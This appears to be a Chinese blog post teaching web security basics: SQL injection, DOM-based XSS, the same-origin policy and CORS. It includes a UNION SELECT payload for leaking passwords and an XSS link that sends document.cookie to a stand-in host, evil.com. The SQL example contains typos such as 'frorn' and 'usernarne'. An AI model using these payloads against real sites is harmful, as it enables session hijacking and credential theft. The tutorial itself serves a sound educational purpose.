web安全的关键点

  数据和指令混杂在一个页面是导致WEB不安全等重要因素,数据会被指令污染。


1 Sql 注入的例子:

用户通过访问连接http://www.foo.com/user.php?id=1 来获取自身账户的信息,后台可能会执行select username , email , desc from users where id=1; 然后把返回的结果通过HTTP返回给客户端。

其中id的值来自用户等提交,如果攻击者把1 替换为 “1 union select password, 1 , 1 frorn users ”则整个语句在后台的查询语句就变成了

select usernarne, ernail , desc frorn users where id=l union select password, 1 , 1 from users 这是一个合法union SQL语句. 这就导致用户信息等泄露。攻击者可以随便制定id的值。




2 XSS跨站攻击的发生

 <script>

eval(location.hash.substr(1));

</script>

将这段代码保存到http://www.foo.com/info.html中(需要自己搭建http服务器)

eval是JS的内置函数,可以动态的执行JS语句,location.hash获得是链接http://www.foo.com/info.html#callback 中的#符号及其后面的内容。substr是字符串截取函数。

eval(location.hash.substr(1));表示截图#符号之后的内容,随后给eval函数进行动态执行。

可想如果攻击者构造出如下链接:

http:// www .foo.com/info.html#new%20Image().src =”http://www.evil.com/steal.php?c=" +escape(document .cookie ),浏览器执行后会变为

eval('new%20Image().src =”http://www.evil.com/steal.php?c=" +escape(document .cookie)')

当小白点击了上面链接之后,cookies会话信息就会被盗取到黑客到网站上。一般情况下该cookies可以登录被攻击者的账号,并进行越权操作。





同源策略规定:不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源。

1  不同域或者同域

站    点                      是否同域 原因
https://www.foo.com 不同域协议不同, https与http是不同的协议
http://xeyeteam.foo.com 不同域域名不同, xeyeteam子域与www子域不同
http://foo.com 不同域域名不同, 顶级域与www子域不是一个概念
http://www.foo.com:8080 不同域端口不同, 8080与默认的80端口不同
http://www.foo.com/a/ 同域满足同协议、 同域名、同端口,只是这里多了一个目录而已

从上面看出我们通常所说的两个站点同域就是指它们同源。


2  客户端脚本

客户端脚本主要指JavaScript(各个浏览器原生态支持的脚本语言)、ActionScript(Flash的脚本语言),以及JavaScript与ActionScript都遵循的ECMAScript脚本标准。Flash提供通信接口,使得这两个脚本语言可以很方便地互相通信。客户端的攻击几乎都是基于这两个脚本语言进行的,当然JavaScript是最广泛的。



3.授权


一般情况下,看到这个词,我们往往会想到服务端对客户端访问的授权。客户端也存在授权现象,比如:HTML5新标准中提到关于AJAX跨域访问的情况,默认情况下是不允许跨域访问的,只有目标站点(假如是http://www.foo.com)明确返回HTTP响应头:


Access-Control-Allow-Origin: http://www.evil.com


那么www.evil.com站点上的客户端脚本就有权通过AJAX技术对www.foo.com上的数据进行读写操作。这方面的攻防细节很有趣,相关内容在后面会详细介绍。


 注: AJAX是Asynchronous JavaScript And XML的缩写,让数据在后台进行异步传输,常见的使用场景有:对网页的局部数据进行更新时,不需要刷新整个网页,以节省带宽资源。AJAX也是黑客进行Web客户端攻击常用的技术,因为这样攻击就可以悄无声息地在浏览器后台进行,做到“杀人无形”。



4.读写权限


Web上的资源有很多,有的只有读权限,有的同时拥有读和写的权限。比如:HTTP请求头里的Referer(表示请求来源)只可读,而document.cookie则具备读写权限。这样的区分也是为了安全上的考虑。


5.资源


资源是一个很广泛的概念,只要是数据,都可以认为是资源。同源策略里的资源是指Web客户端的资源。一般来说,资源包括:HTTP消息头、整个DOM树、浏览器存储(如:Cookies、Flash Cookies、localStorage等)。客户端安全威胁都是围绕这些资源进行的。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值